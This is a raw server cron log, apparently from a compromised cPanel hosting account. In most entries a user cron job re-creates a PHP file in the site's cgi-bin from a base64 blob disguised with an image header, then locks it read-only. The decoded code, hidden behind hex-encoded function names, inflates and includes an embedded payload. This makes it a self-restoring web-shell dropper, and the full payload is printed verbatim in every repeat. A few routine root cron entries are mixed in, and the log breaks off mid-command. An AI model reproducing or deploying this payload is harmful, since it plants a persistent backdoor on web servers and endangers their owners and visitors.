Nov 10 17:11:01 server CROND[17596]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:12:01 server CROND[18468]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:12:01 server CROND[18469]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 17:13:01 server CROND[19349]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:14:01 server CROND[20180]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:15:01 server CROND[21025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 17:15:01 server CROND[21026]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:15:01 server CROND[21027]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 17:16:01 server CROND[21994]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:17:01 server CROND[22498]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:18:01 server CROND[23319]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:19:01 server CROND[24151]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:20:01 server CROND[24787]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 17:20:01 server CROND[24788]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 17:20:01 server CROND[24791]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:20:01 server CROND[24789]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 17:20:01 server CROND[24792]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 17:21:01 server CROND[25783]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:22:01 server CROND[26627]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:23:01 server CROND[27436]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:24:01 server CROND[28162]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 